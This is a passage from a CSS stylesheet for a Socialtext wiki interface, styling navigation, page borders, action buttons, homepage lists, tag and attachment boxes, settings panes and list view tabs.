	margin-left: 24px;
	margin-right: 24px;
	padding-top: 3px;
	min-height: 24px;
}
* html .st-wiki-nav-content {
	padding-bottom: 3px;
	height: 24px;
}

.st-wiki-nav-right {
	background: url('../../images/st/wiki-nav/right-round.gif') no-repeat bottom right;
}

.st-wiki-nav-left {
	background: url('../../images/st/wiki-nav/left-round.gif') no-repeat bottom left;
}

#st-home {
	float: left;
	margin-right: 60px;
	padding-top: 2px;
}

#st-home-link {
	color: white;
	text-decoration: none;
	font-weight: bold;
	font-family: Helvetica, sans-serif;
	font-size: 90%;
}

#st-editing-prefix-container {
	border-collapse: collapse;
	width: 100%;
	padding: 0px;
	margin: 0px;
	margin-bottom: -20px;
}

#st-editing-prefix-container tr td {
	margin: 0px;
	padding: 0px;
}

#st-editing-title {
	color: black;
	background-color: white;
	text-decoration: none;
	font-weight: bold;
	font-family: Helvetica, sans-serif;
	font-size: 90%;
	margin-bottom: 0.4em;
}

#st-wiki-title-invite {
	font-size: 50%;
	font-family: Helvetica, sans-serif;
}

#st-wiki-title-central-page-link {
	font-size: 50%;
	font-family: Helvetica, sans-serif;
}

#st-wiki-title-invite a {
	color: #00f;
}

#st-wiki-logo {
	text-align: center;
	clear: both;
}

#st-wiki-logo-image {
}

.st-wiki-nav-actions {
	float: right;
	color: black;
	font-size: 75%;
	padding-top: 3px;
}

.st-wiki-nav-actions a {
	padding: 2px;
	color: white;
	text-decoration: none;
	font-family: Helvetica, sans-serif;
}

/* Wiki Subnav */

#st-wiki-subnav {
	margin-top: 2px;
	font-size: 70%;
	font-weight: bold;
	font-family: Helvetica, sans-serif;
	color: #888;
}

#st-wiki-subnav a {
	padding: 2px;
	color: #008;
	text-decoration: none;
}

#st-wiki-subnav-right {
	float: right;
	margin-right: 6em;
}

#st-wiki-subnav-left {
	float: left;
	margin-left: 6em;
}
* html #st-wiki-subnav-left {
	margin-left: 3em;
}

/* Wiki Navigation Search Bar */

#st-search-form {
	margin: 0;
	padding: 0;
	padding-top: 1px;
}

#st-search-form .button-table {
	float: left;
	font-size: 79%;
	font-weight: bold;
	margin-left: 5px;
	margin-top: 1px;
}

#st-search-form #st-search-term {
	float: left;
	font-size: 60%;
}

/* Content Outline */

#st-content-border, #st-edit-border {
	position: relative;
	clear: both;
	margin-left: 3px;
	margin-right: 2px;
	margin-bottom: 0px;
	margin-top: 0px;
	border-bottom: 1px solid #eee;
}

#st-content-border-left, #st-edit-border-left {
	background: url('../../images/st/page-shadow/left.gif') left top repeat-y;
	position: relative;
}

#st-content-border-right, #st-edit-border-right {
	background: url('../../images/st/page-shadow/right.gif') right top repeat-y;
	position: relative;
}

#st-content-border-top, #st-edit-border-top {
	position: relative;
	background: url('../../images/st/page-shadow/top.gif') left top repeat-x;
}

#st-content-border-bottom, #st-edit-border-bottom {
	background: url('../../images/st/page-shadow/bottom.gif') left bottom repeat-x;
	position: relative;
}

#st-content-border-left-top, #st-edit-border-left-top {
	background: url('../../images/st/page-shadow/left-top.gif') left top no-repeat;
	position: relative;
}
#st-content-border-right-top, #st-edit-border-right-top {
	background: url('../../images/st/page-shadow/right-top.gif') right top no-repeat;
	position: relative;
}

#st-content-border-left-bottom, #st-edit-border-left-bottom {
	background: url('../../images/st/page-shadow/left-bottom.gif') left bottom no-repeat;
	position: relative;
}

#st-content-border-right-bottom, #st-edit-border-right-bottom {
	background: url('../../images/st/page-shadow/right-bottom.gif') right bottom no-repeat;
	padding-top: 5px;
	padding-bottom: 9px;
	position: relative;
}

* html #st-content-border-right-bottom, * html #st-edit-border-right-bottom {
	padding-top: 4px;
	padding-left: 7px;
	padding-right: 8px;
	position: relative;
}

.st-content-width-controller {
	width: 100%;
	position: relative;
	border-collapse: collapse;
}
.st-content-width-controller td {
	vertical-align: top;
}
.st-content {
	position: relative;
	background-color: white;
	margin-top: 0px;
	margin-left: 7px;
	margin-right: 8px;
	margin-bottom: -1px;
	border-left: 1px dotted #80a9f3;
	border-right: 1px dotted #80a9f3;
	border: 1px solid #80a9f3;
	padding: 6px 12px 12px 12px;
}
* html .st-content {
	margin-top: 0px;
	margin-left: 0px;
	margin-right: 0px;
}

/* This textarea is only for Safari. However, if we use display:none; here Safari ignores the .value operation in JS */
#st-raw-wikitext-textarea {
	width:1px;
	height:1px;
	margin:0;
	padding:0;
}

/* Action Buttons */
.button-table, .button-table tr td {
	border-collapse: collapse;
	margin: 0;
	padding: 0;
}
.button-rounded {
	background: url('../../images/st/grey-button/left-top-rounded.png') top left no-repeat;
	margin: 0;
}
.button-rounded-right-top {
	background: url('../../images/st/grey-button/right-top-rounded.png') top right no-repeat;
	margin: 0;
}
.button-rounded-left-bottom {
	background: url('../../images/st/grey-button/left-bottom-rounded.png') bottom left no-repeat;
	margin: 0;
}
.button-rounded-right-bottom {
	background: url('../../images/st/grey-button/right-bottom-rounded.png') bottom right no-repeat;
	margin: 0;
}
.button-straight {
	background: url('../../images/st/grey-button/left-top-straight.png') top left no-repeat;
	margin: 0;
}
.button-straight-right-top {
	background: url('../../images/st/grey-button/right-top-straight.png') top right no-repeat;
	margin: 0;
}
.button-straight-left-bottom {
	background: url('../../images/st/grey-button/left-bottom-straight.png') bottom left no-repeat;
	margin: 0;
}
.button-straight-right-bottom {
	background: url('../../images/st/grey-button/right-bottom-straight.png') bottom right no-repeat;
	margin: 0;
}
.button-content {
	font-size: 90%;
}
.button-content a {
	display: block;
	padding: 2px;
	padding-left: 10px;
	padding-right: 10px;
	font-family: Helvetica, Verdana, sans-serif;
	font-weight: bold;
	text-decoration: none;
	color: black;
}

.button-content input.submit {
	border: 0px;
	padding: 2px;
	padding-left: 10px;
	padding-right: 10px;
	font-family: Helvetica, Verdana, sans-serif;
	font-weight: bold;
	text-decoration: none;
	color: black;
	background-color: transparent;
}

/* Personal Homepage */

#st-homepage {
	background: white url('../../images/st/homepage/blue-fade.gif') top left no-repeat;
}

#st-homepage-layout {
	margin-top: 15px;
	clear: both;
	width: 100%;
	border-collapse: collapse;
}

#st-homepage-layout tr td.st-homepage-layout-cell {
	padding: 5px;
	vertical-align: top;
}

#st-homepage-layout-dashboard {
	width: 50%
}

#st-homepage-layout-notes {
	width: 50%;
}

#st-homepage-notes, #st-homepage-dashboard {
	text-align: left;
	width: 95%;
}

#st-user-greeting, #st-wiki-title {
	font-family: Helvetica, Verdana, sans-serif;
	font-size: 150%;
}
#st-wiki-title {
	margin-left: 5px;
}

#st-user-greeting {
	position: relative;
	text-align: right;
	float: right;
}

#st-group-notes-content, #st-personal-notes-content {
}

.st-homepage-section {
	margin-bottom: 15px;
}

#st-homepage-notes .st-homepage-section {
	background-color: white;
	border: 1px solid #aaa;
	padding: 15px;
}

.st-homepage-section-title {
	font-size: 110%;
	font-family: Helvetica, Verdana, sans-serif;
}

#st-homepage-notes .st-homepage-section-title {
	color: #aaa;
	text-decoration: underline;
}

.st-homepage-notes-edit-link {
	background: url('../../images/st/homepage/edit-icon.gif') no-repeat left top;
	display: block;
	text-indent: -2000px;
	height: 13px;
	width: 36px;
	text-decoration: none;
	padding:0;
}
* html .st-homepage-notes-edit-link {
	border:1px solid white;
}

.st-homepage-notes-edit {
	font-family: Verdana, sans-serif;
	font-size: 65%;
	float: right;
}

.st-homepage-notes-content {
	font-size: 85%;
	margin-top: 10px;
	padding-top: 0px;
	padding-bottom: 0px;
	font-family: Verdana, Helvetica, sans-serif;
}

#st-dyk {
	border-color: #cca !important;
	background-color: #ffe !important;
}

#st-dyk-title {
	color: #e4a020 !important;
	text-decoration: none !important;
}


/* Homepage Simple List */

#st-whats-new-title-link {
	background: url('../../images/st/homepage/icon-28-pages.gif') no-repeat left top;
}
#st-watchlist-title-link {
	background: url('../../images/st/homepage/icon-28-star.gif') no-repeat left top;
}
#st-wikis-title-link {
	background: url('../../images/st/homepage/icon-28-group.gif') no-repeat left top;
}
.st-homepage-simplelist-title-link {
	display: block;
	padding-left: 32px;
	min-height: 32px;
}
* html .st-homepage-simplelist-title-link {
	height: 32px;
}

.st-homepage-simplelist-title {
}

.st-homepage-simplelist-table {
	margin-left: 25px;
	border: 1px dashed #ddd;
	border-collapse: collapse;
	font-family: Verdana, Helvetica, sans-serif;
	font-size: 80%;
	width: 95%;
}

.st-homepage-simplelist-table td {
	padding: 2px;
}

.st-homepage-simplelist-table tr.st-homepage-simplelist-row-odd {
	background-color: #f3f7f7;
}

.st-homepage-simplelist-table tr.st-homepage-simplelist-row-even {
	background-color: white;
}

.st-homepage-simplelist-table a {
	color: #4f55dd;
	text-decoration: none;
}

.st-homepage-simplelist-table a:visited {
	color: #551a8b;
}

.st-homepage-simplelist-subleft {
	font-size: 80%;
	margin-left: 1em;
	color: #666;
}

.st-homepage-simplelist-right {
	width: 20%;
}

.st-homepage-simplelist-subright {
	font-size: 80%;
	color: #666;
}

.st-homepage-simplelist {
}

.st-homepage-simplelist-header {
	min-height: 35px;
}

.st-homepage-simplelist-header .button-table {
	float: right;
	margin-right: 15px;
	font-size: 95%;
}

.st-homepage-simplelist-header .button-table .button-content {
	padding: 1px;
}

.st-homepage-whatsnew-author, .st-homepage-whatsnew-date {
	color: #555;
}
.st-homepage-whatsnew-attribution {
	padding-left: 1em;
	font-size: 80%;
	color: #aaa;
}

/* Homepage Wikis List */

#st-wikis-title {
}

/* Data and Templates */

.st-jst-template, .st-json {
	display: none;
}

/* Page Sidebox Common Styles */

#st-page-boxes-toggle {
	position: relative;
	float: right;
	text-align: right;
	font-family: Verdana, Arial, sans-serif;
	font-weight: bold;
	font-size: 80%;
	margin-bottom: 0.7em;
}

#st-page-boxes-toggle-link {
	text-decoration: none;
}

#st-page-boxes-underlay {
	float: right;
	margin-top: -10px;
	margin-right: 10px;
	background: white;
	z-index: 198;
	clear: both;
	margin-left: 15px;
}
* html #st-page-boxes-underlay {
	margin-right: 4px;
}
#st-page-boxes {
	background: inherit;
	position: absolute;
	right: 23px;
	z-index: 199;
	margin-top: 15px;
	margin-left: 20px;
}
#st-page-boxes, #st-page-boxes-underlay {
	width: 225px;
	/* padding-left: 15px; */ /* Gives the white border effect, cwest dislikes it. */
}

.st-page-box {
	border: 1px solid black;
	padding: 5px;
	font-family: Verdana, Helvetica, sans-serif;
	font-size: 80%;
	margin-top: 15px;
}

.st-page-box-title {
	font-family: Helvetica, Verdana, sans-serif;
	font-weight: bold;
	margin-bottom: 10px;
}

.st-page-box-listing {
	margin: 0;
	padding: 0;
}

.st-page-box-listing-entry {
	display: block;
}

.st-page-boxes-nobacklinks {
	font-family: Verdana, Helvetica, sans-serif;
	font-size: 90%;
	color: #888;
}

.st-page-box-first {
	margin-top: 0px;
}

/* Page Display */

#st-page-content {
	clear: left;
	margin-top: 6px;
	margin-bottom: 0;
	padding-bottom: 0;
}

#st-page-content, #st-page-content td {
	font-family: Verdana, Helvetica, sans-serif;
	font-size: 90%;
}

#st-page-wiki-title {
	font-family: Helvetica, Verdana, sans-serif;
	font-size: 65%;
	font-weight: bold;
	color: #aaa;
	margin-bottom: 0.2em;
	margin-top: 0.1em;
	padding-top: 0;
}

#wiki {
	margin: 0;
	padding: 0;
}

#st-page-title {
}

#st-page-titletext, .st-page-title {
	font-family: Helvetica, Verdana, sans-serif;
	font-size: 150%;
	font-weight: bold;
	color: #888;
	border-bottom: 1px solid #888;
}

#st-newpage-pagename-edit {
	font-family: inherit;
	font-size: inherit;
	font-weight: inherit;
	color: #000;
	border: 1px solid black;
	padding-left: 0.3em;
	background-color: #ffd;
}

#st-page-details {
	font-style: italic;
	font-size: 75%;
	font-family: Georgia, serif;
	margin: 6px 10px 0 10px;
}

#st-page-details-feed-icon {
	vertical-align: middle;
	border: none;
}

#st-page-stats {
	float: right;
	vertical-align: middle;
}

#st-attribution {
	float: left;
	margin-bottom: 10px;
}

#st-page-editing-wysiwyg {
	background: #ffd;
	border-style: solid;
	border-color: #888 #ccc #ccc #888;
	border-width: 2px;
	width: 100%;
}

#st-page-editing-toolbar {
	margin-left: -6px;
	overflow: hidden;
	float: left;
	height: 25px;
}

#wikiwyg_wikitext_textarea {
	margin-top: 4px;
	background: #ffd;
	border-style: solid;
	border-color: #888 #ccc #ccc #888;
	border-width: 2px;
	width: 100%;
	font-family: monospace;
}

#st-page-maincontent {
}

#st-page-editing, #wikiwyg_wikitext_textarea {
}

#st-page-editing-pagebody-decoy, #st-page-editing-wysiwyg {
	display: none;
}

#st-editing-tools-edit {
	display: none;
}

#st-mode-wysiwyg-button
{
	font-size: 70%;
	margin-left: 4em;
}

#st-mode-wikitext-button
{
	font-size: 70%;
}

#st-edit-tips
{
	font-size: 70%;
}

.wikiwyg_button {
	background: #FFFFFF;
	border: 1px solid #FFFFFF;
	cursor: pointer;
	width: 20px;
	height: 20px;
	vertical-align: bottom;
}

.wikiwyg_button:hover {
	border: 1px outset;
}

.wikiwyg_button:active {
	border: 1px inset;
}

#wikiwyg_toolbar {
	display: none;
}

/* Sidebox Pagetools: Revisions, Watchlist */
#st-side-box-pagetools {
	border-collapse: collapse;
}

#st-rewind-norevisions {
	font-family: Helvetica, Arial, sans-serif;
	font-size: 11px;
	color: #777;
	text-decoration: none;
}

#st-side-box-pagetools a {
	font-family: Helvetica, Arial, sans-serif;
	font-size: 11px;
	color: #555;
	text-decoration: none;
}

/* Page View Tags/Incoming Links Sidebox */

#st-tags {
	background: #f4fff4;
	border-color: #bbeebb;
	color: #999;
}

#st-tags-title {
	color: #595;
}

#st-tags-addlink, #st-tags-addbutton {
	font-weight: bold;
}

#st-tags-listing {
	margin-bottom: 5px;
}

#st-tags-addinput, #st-tags-message, #st-tags-suggestion {
	display: none;
}

#st-tags-deletemessage {
	font-size: 90%;
	color: #555;
	display: none;
	margin-top: 0.5em;
	margin-bottom: 0.5em;
}

#st-tags-suggestion {
	margin-top: 2px;
}

.st-tags-level1 {
	font-size: 90%;
}

.st-tags-level2 {
	font-size: 100%;
}

.st-tags-level3 {
	font-size: 110%;
}

.st-tags-level4 {
	font-size: 120%;
}

.st-tags-level5 {
	font-size: 130%;
}

.st-tags-tagline .st-tags-tagdelete {
	text-decoration: none;
	color: #ccc;
}

.st-tags-tagline a {
	text-decoration: none;
	color: #444;
}

#st-tags-field {
	width: 95%;
}

#st-incoming-links {
	border-color: #ebb;
	background-color: #fff4f4;
}

#st-incoming-links-title {
	color: #b78;
}

#st-attachments {
	border-color: #bbe;
	background-color: #f4f4ff;
}

#st-attachments-uploadbutton, #st-attachments-managebutton {

}
#st-attachments-buttons-uploadbutton {
	margin: 0px;
	padding: 0px;
	padding-left: 2px;
}
#st-attachments-buttons-managebutton {
	margin: 0px;
	padding: 0px;
	padding-right: 2px;
}

#st-attachments-buttons td {
	padding-right: 3px;
	font-size: 99%;
}

#st-attachments-buttons {
	border-collapse: collapse;
	margin: 0px;
	padding: 0px;
	margin-top: 5px;
}

#st-attachments-title {
	color: #77b;
}

.st-attachments-line {
	width:100%;
	overflow:hidden;
}

/* Actions Bar */

#st-actions-bar-spacer {
	clear:both;
	height:0.5em;
	overflow:hidden;
}

#st-actions-bar-spacer-clear {
	clear:both;
	height:1px;
	overflow:hidden;
}


#st-actions-bar, #st-editing-tools-bar {
	margin-left: 30px !important;
	margin-right: 30px !important;
}

/* Footer */
#st-footer {
	margin-top: -8px;
	margin-bottom: 5px;
	clear: both;
}

/* Socialtext Attribution */

#st-socialtext-attribution {
	clear: both;
	text-align: center;
	font-size: 80%;
	font-family: Helvetica, sans-serif;
}

#st-socialtext-attribution-link {
	text-decoration: none;
}

#st-socialtext-attribution-image {
	border: 0;
}


/* Page Actions */

#st-edit-button-border-left-middle, #st-login-to-edit-button-border-left-middle {
	background: url('../../images/st/button-blue/left-middle.gif') left top repeat-y;
}
#st-edit-button-border-right-middle, #st-login-to-edit-button-border-right-middle {
	background: url('../../images/st/button-blue/right-middle.gif') right top repeat-y;
}

#st-edit-button-border-left-top, #st-login-to-edit-button-border-left-top {
	background: url('../../images/st/button-blue/left-top.gif') left top no-repeat;
}
#st-edit-button-border-right-top, #st-login-to-edit-button-border-right-top {
	background: url('../../images/st/button-blue/right-top.gif') right top no-repeat;
}

#st-edit-button-border-left-bottom, #st-login-to-edit-button-border-left-bottom {
	background: url('../../images/st/button-blue/left-bottom.gif') left bottom no-repeat;
}

#st-edit-button-border-right-bottom, #st-login-to-edit-button-border-right-bottom {
	background: url('../../images/st/button-blue/right-bottom.gif') right bottom no-repeat;
}

#st-edit-button-link, #st-login-to-edit-button-link {
}

#st-comment-button-border-left-middle {
	background: url('../../images/st/button-purple/left-middle.gif') left top repeat-y;
}

#st-comment-button-border-right-middle {
	background: url('../../images/st/button-purple/right-middle.gif') right top repeat-y;
}

#st-comment-button-border-left-top {
	background: url('../../images/st/button-purple/left-top.gif') left top no-repeat;
}

#st-comment-button-border-right-top {
	background: url('../../images/st/button-purple/right-top.gif') right top no-repeat;
}

#st-comment-button-border-left-bottom {
	background: url('../../images/st/button-purple/left-bottom.gif') left bottom no-repeat;
}

#st-comment-button-border-right-bottom {
	background: url('../../images/st/button-purple/right-bottom.gif') right bottom no-repeat;
}

#st-comment-button-link {
}

#st-save-button-border-left-middle {
	background: url('../../images/st/button-green/left-middle.gif') left top repeat-y;
}
#st-save-button-border-right-middle {
	background: url('../../images/st/button-green/right-middle.gif') right top repeat-y;
}

#st-save-button-border-left-top {
	background: url('../../images/st/button-green/left-top.gif') left top no-repeat;
}
#st-save-button-border-right-top {
	background: url('../../images/st/button-green/right-top.gif') right top no-repeat;
}

#st-save-button-border-left-bottom {
	background: url('../../images/st/button-green/left-bottom.gif') left bottom no-repeat;
}

#st-save-button-border-right-bottom {
	background: url('../../images/st/button-green/right-bottom.gif') right bottom no-repeat;
}

#st-save-button-link {
}

#st-preview-button-border-left-middle {
	background: url('../../images/st/button-gold/left-middle.gif') left top repeat-y;
}
#st-preview-button-border-right-middle {
	background: url('../../images/st/button-gold/right-middle.gif') right top repeat-y;
}

#st-preview-button-border-left-top {
	background: url('../../images/st/button-gold/left-top.gif') left top no-repeat;
}
#st-preview-button-border-right-top {
	background: url('../../images/st/button-gold/right-top.gif') right top no-repeat;
}

#st-preview-button-border-left-bottom {
	background: url('../../images/st/button-gold/left-bottom.gif') left bottom no-repeat;
}

#st-preview-button-border-right-bottom {
	background: url('../../images/st/button-gold/right-bottom.gif') right bottom no-repeat;
}

#st-preview-button-link {
}

#st-cancel-button-border-left-middle {
	background: url('../../images/st/button-crimson/left-middle.gif') left top repeat-y;
}
#st-cancel-button-border-right-middle {
	background: url('../../images/st/button-crimson/right-middle.gif') right top repeat-y;
}

#st-cancel-button-border-left-top {
	background: url('../../images/st/button-crimson/left-top.gif') left top no-repeat;
}
#st-cancel-button-border-right-top {
	background: url('../../images/st/button-crimson/right-top.gif') right top no-repeat;
}

#st-cancel-button-border-left-bottom {
	background: url('../../images/st/button-crimson/left-bottom.gif') left bottom no-repeat;
}

#st-cancel-button-border-right-bottom {
	background: url('../../images/st/button-crimson/right-bottom.gif') right bottom no-repeat;
}

#st-cancel-button-link {
}

#st-edit-more-button-border-left-middle {
	background: url('../../images/st/button-blue/left-middle.gif') left top repeat-y;
}
#st-edit-more-button-border-right-middle {
	background: url('../../images/st/button-blue/right-middle.gif') right top repeat-y;
}

#st-edit-more-button-border-left-top {
	background: url('../../images/st/button-blue/left-top.gif') left top no-repeat;
}
#st-edit-more-button-border-right-top {
	background: url('../../images/st/button-blue/right-top.gif') right top no-repeat;
}

#st-edit-more-button-border-left-bottom {
	background: url('../../images/st/button-blue/left-bottom.gif') left bottom no-repeat;
}

#st-edit-more-button-border-right-bottom {
	background: url('../../images/st/button-blue/right-bottom.gif') right bottom no-repeat;
}

#st-edit-more-button-link {
}

.st-page-action-button-link {
	min-height: 24px;
	min-width: 100px;
	text-align: center;
	font-family: Helvetica, Verdana, sans-serif;
	font-size: 90%;
	text-decoration: none;
	color: #fff;
	font-weight: bold;
	display: block;
	padding-top: 8px;
	padding-bottom: 0px;
	margin-bottom: -3px;
	width: 100%;
	margin-left: -2px;
}
* html .st-page-action-button-link {
	padding-top: 5px;
	padding-bottom: 0px;
	height: 24px;
}

.st-page-action-button {
	float: left;
	margin: 0;
	padding: 0;
	margin-right: 10px;
	min-height: 20px;
	border-collapse: collapse;
	width: 100px;
}

/* Attach File Interface */

#st-attachments-attachinterface {
	font-family: Helvetica, sans-serif;
	font-size: 90%;
	display: none;
	position: fixed;
	left: 0px;
	top: 0px;
	width: 100%;
	height: 100%;
	z-index: 2000;
	background-image: url('../../images/st/popup/bg.png');
}
#st-attachments-manageinterface {
	font-family: Helvetica, sans-serif;
	font-size: 90%;
	display: none;
	position: absolute;
	left: 0px;
	top: 0px;
	width: 100%;
	height: 100%;
	z-index: 2000;
	background-image: url('../../images/st/popup/bg.png');
}

* html #st-attachments-attachinterface {
	background-image: none;
}
* html #st-attachments-manageinterface {
	background-image: none;
}
* html .popup-overlay {
	background-image: url('../../images/st/popup/bg.png');
	background-color: #000;
	opacity: .70;
	position: absolute;
	left: 0px;
	top: 0px;
	width: 100%;
	height: 100%;
	z-index: 2001;
}

#st-attachments-attach-interface {
	z-index: 2002;
	background-color: #fff;
	color: #000;
	border: 4px solid #ccc;
	padding: 1em;
	width: 520px;
	margin-left: auto;
	margin-right: auto;
	margin-top: 10%;
	position: absolute;
	top: 0px;
}

* html #st-attachments-attach-interface {
}

#st-attachments-attach-formtarget {
	width: 0px;
	height: 0px;
	border: 0;
	padding: 0;
	margin: 0;
}

#st-attachments-attach-message {
	font-size: 90%;
	font-family: Verdana, Arial, Helvetica, Sans-Serif;
}

#st-attachments-attach-title {
	font-weight: bold;
	font-size: 120%;
}

#st-attachments-attach-close {
	float: right;
	margin-top: 6px;
}

#st-attachments-attach-uploadbutton {
	float: right;
	margin-right: 6px;
	margin-top: 6px;
	padding-bottom: 0;
}

#st-attachments-attach-fileprompt {
	margin: 0.2em 0 0.4em 0;
	padding-bottom: 0px;
}

#st-attachments-attach-submit {
	font-size: 90%;
	font-weight: bold;
}

#st-attachments-attach-filename {
	font-size: 90%;
}

#st-attachments-attach-uploadmessage {
	font-weight: bold;
	margin-bottom: 1em;
	display: none;
}

#st-attachments-attach-error {
	font-weight: bold;
	color: #f00;
	margin-bottom: 1em;
	display: none;
}

#st-attachments-attach-list {
	display: none;
	color: #666;
	font-size: 90%;
	margin-top: 1em;
	margin-bottom: 1em;
	border-top: 1px solid #4949BA;
	border-bottom: 1px solid #4949BA;
	background-color: #F5F5F5;
	padding: 3px;
}

.st-attachments-attach-listlabel {
	font-size: 90%;
	color: #4949BA;
}

/* Queue File Dialog */

#st-attachmentsqueue-interface {
	font-family: Helvetica, sans-serif;
	font-size: 90%;
	display: none;
	position: fixed;
	left: 0px;
	top: 0px;
	width: 100%;
	height: 100%;
	background-image: url('../../images/st/popup/bg.png'); /* Don't forget IE hack for ship! */
	z-index: 2000;
}

* html #st-attachmentsqueue-interface {
	background-image: none;
}

#st-attachmentsqueue-dialog {
	z-index: 2002;
	background-color: #fff;
	color: #000;
	border: 4px solid #ccc;
	padding: 1em;
	width: 530px;
	margin-left: auto;
	margin-right: auto;
	margin-top: 10%;
	position: absolute;
	top: 0px;
}

* html #st-attachmentsqueue-dialog {
}

#st-attachmentsqueue-fileprompt {
	margin-bottom: 0.4em;
	margin-top: 0;
	padding-bottom: 0;
}

#st-attachmentsqueue-title {
	font-weight: bold;
	font-size: 120%;
}

#st-attachmentsqueue-close {
	float: right;
	margin-top: 6px;
}

#st-attachmentsqueue-uploadbutton {
	float: right;
	margin-right: 6px;
	margin-top: 6px;
	padding-bottom: 0;
}

#st-attachmentsqueue-submit {
	font-size: 90%;
}

#st-attachmentsqueue-filename {
	font-size: 90%;
}

#st-attachmentsqueue-message {
	font-size: 90%;
	font-family: Verdana, Arial, Helvetica, Sans-Serif;
}

#st-attachmentsqueue-uploadmessage {
	font-weight: bold;
	margin-bottom: 1em;
	display: none;
}

#st-attachmentsqueue-error {
	font-weight: bold;
	color: #f00;
	margin-bottom: 1em;
	display: none;
}

#st-attachmentsqueue-list {
	display: none;
	color: #666;
	font-size: 90%;
	margin-top: 1em;
	margin-bottom: 1em;
	border-top: 1px solid #4949BA;
	border-bottom: 1px solid #4949BA;
	background-color: #F5F5F5;
	padding: 3px;
}

.st-attachmentsqueue-listlabel {
	font-size: 90%;
	color: #4949BA;
}

/* Lists */

tr.st-trbg-even, tr.st-trbg-even td{
	background-color: #f3f7f7;
}

tr.w-st-even-row, tr.w-st-even-row td {
	background-color: #f3f7f7;
}

.query-results-header-title, .query-results-header-last-edit-by {
	text-align: left;
}


.query-results-row-revisions {
	text-align: right;
}

.query-results-content {
	font-size: 85%;
	border-collapse: collapse;
	border: 1px dashed #ddd;
	border-left: 1px solid #ddd;
	border-right: 1px solid #ddd;
}

.query-results-row {
	border-collapse: collapse;
	border: 1px dashed #ddd;
	border-left: 1px solid #ddd;
	border-right: 1px solid #ddd;
}

.query-results-row a {
	text-decoration: underline;
	color: #00f;
}

.query-results-row td {
	font-family: Verdana;
	padding: 0.3em;
	border-left: 1px dashed #ddd;
	border-right: 1px dashed #ddd;
	border-top: 1px solid #ddd;
	border-bottom: 1px solid #ddd;
}

.query-results-header-row {
	border-collapse: collapse;
	border: 1px dashed #ddd;
	border-left: 1px solid #ddd;
	border-right: 1px solid #ddd;
}

.query-results-header-row a {
	text-decoration: underline;
	color: #00f;
}

.query-results-header-row th {
	font-family: Helvetica;
	padding: 0.3em;
	border-left: 1px dashed #ddd;
	border-right: 1px dashed #ddd;
	border-top: 1px solid #ddd;
	border-bottom: 1px solid #ddd;
}

div.st-actionbutton {
	float: left;
}

div#deleteme-st-actions-bar {
	clear: both;
	margin: 0.8em 20px 0.2em auto;
	padding: 0;
}

/* Manage File Interface */



#st-attachments-manage-interface {
	z-index: 2002;
	background-color: #fff;
	color: #000;
	border: 4px solid #ccc;
	padding: 1em;
	width: 520px;
	margin-left: auto;
	margin-right: auto;
	margin-top: 10%;
	position: absolute;
	top: 0px;
}

#st-attachments-manage-filetable {
	height: 150px;
	margin: 0;
	padding: 0;
	width: 100%;
	overflow: auto;
	border: 1px solid #ccc;
}

#st-attachments-manage-filelisting tbody td {
	font-size: 90%;
}
#st-attachments-manage-filelisting {
	width: 100%;
	border-collapse: collapse;
	border: 0;
	margin: 0;
	padding: 0;
}

#st-attachments-manage-fileheader {
	background: #ccc;
	font-weight: bold;
	border-bottom: 1px black solid;
}

#st-attachments-manage-close {
	float: right;
	margin-top: 3px;
	margin-right: -2px;
	font-weight: bold;
}

#st-attachments-manage-delete {
	margin-top: 3px;
	float: left;
	font-weight: bold;
}

.st-attachments-manage-filerow {
	border-bottom: 1px solid #ccc;
}

.row-odd {
	background-color: #eee;
}

.row-even {
	background-color: #fff;
}

.row-on {
	background-color: #009 !important;
	color: white !important;
}

.row-on a {
	color: #fff !important;
}

#st-attachments-manage-deletemessage {
	color: red;
}

/* Page tools icons */

#st-pagetools-print {
	background: url('../../images/st/pagetools/print.gif')
	left center no-repeat;
}

#st-pagetools-email {
	background: url('../../images/st/pagetools/email.gif')
	left center no-repeat;
}

#st-pagetools-tools {
	background: url('../../images/st/pagetools/tools.gif')
	left center no-repeat;
}

/*
 #st-pagetools-watch {
	background: url('../../images/st/pagetools/watch-blue.gif')
	left center no-repeat;
}
*/


/* *********** Settings *********** */

#st-settings-pane {
}
* html #settings-pane { font-size: 85%;}

.settings-start-table {
}
* html .settings-start-table { font-size: 90%;}

#st-settings-select {
	padding: 0px 10px 10px 10px;
	vertical-align: top;
	width: 1px;

	background-color: #eff1ec;
	border: none;
}

#st-settings-section {
	padding: 0px 10px 10px 10px;
	vertical-align: top;
}

.settings-top-header {
	margin-top: 1em;
	font-weight: bold;
	width: 15em;
}

.settings-header {
	margin-top: 1em;
	font-weight: bold;
}

.settings-selections {
	padding: 0px 0px 0px 20px;
	line-height: 1.5em;
}

.settings-selections a:visited, .settings-selections a:active {
	color: #0000ff;
}

.settings-link {
	clear: both;
	display: block;
}

.settings-section-left {
	text-align: right;
}

.settings-label {
	font-weight: bold;
}

.settings-help {
	color: #888;
}

.settings-comment {
}

.users-invite-message {
	padding: 0.5em 0.5em 0.5em 2em;
	background-color: #eee;
	/* This seems necessary to fix an IE bug that sometimes
		causes the text in this div to be invisible */
	z-index: 1000;
}

.workspace-entry-header {
	margin-top: .5em;
	font-weight: bold;
}

.workspace-entry {
	margin-left: 3em;
}

.workspace-entry-p {
	margin-top: .5em;
	margin-bottom: .75em;
}

.workspace-subentry {
	font-style: italic;
	font-weight: bold;
	margin-left: 1.5em;
}

.preferences-td {
	padding:.5em 0 1.5em 0;
}

.preferences-query {
	text-align: left;
}

.preference-radio {
	background-color: #cec;
}
.user-settings-listall-headings td {
	background-color: #eff3ef;
}

#st-settings-save {
	padding-bottom: 0.5em;
}

.standard-button-cancel {
	font-weight: bold;
	background-color: #71004b;

	border-left: 1px solid #aaa;
	border-top: 1px solid #aaa;
	border-bottom: 2px solid #333;
	border-right: 2px solid #333;
	color: #f4f3b9;
	width: 8em;
}

.standard-button-submit {
	font-weight: bold;
	background-color: #656084;

	border-left: 1px solid #aaa;
	border-top: 1px solid #aaa;
	border-bottom: 2px solid #333;
	border-right: 2px solid #333;
	color: #f4f3b9;
	width: 8em;
}

#st-settings {
	font-family: Verdana, Arial, Helvetica, Sans-Serif;
	font-size: 90%;
}


/* Listview Tabs */


#st-listview a:visited {
	color: #551a8b;
}
#st-listview-tabs ul {
	display: block;
	list-style: none outside;
	margin: 0 0 0 4em;
	padding: 0;
	font-family: Helvetica, Arial, Sans-serif;
	font-size: 80%;
}

#st-listview-tabs li {
	display: block;
	float: left;
	margin: 0 0.8em 0 0;
	padding: 3px 0.6em 0 0.6em;
	border: 1px solid #d8d8d8;
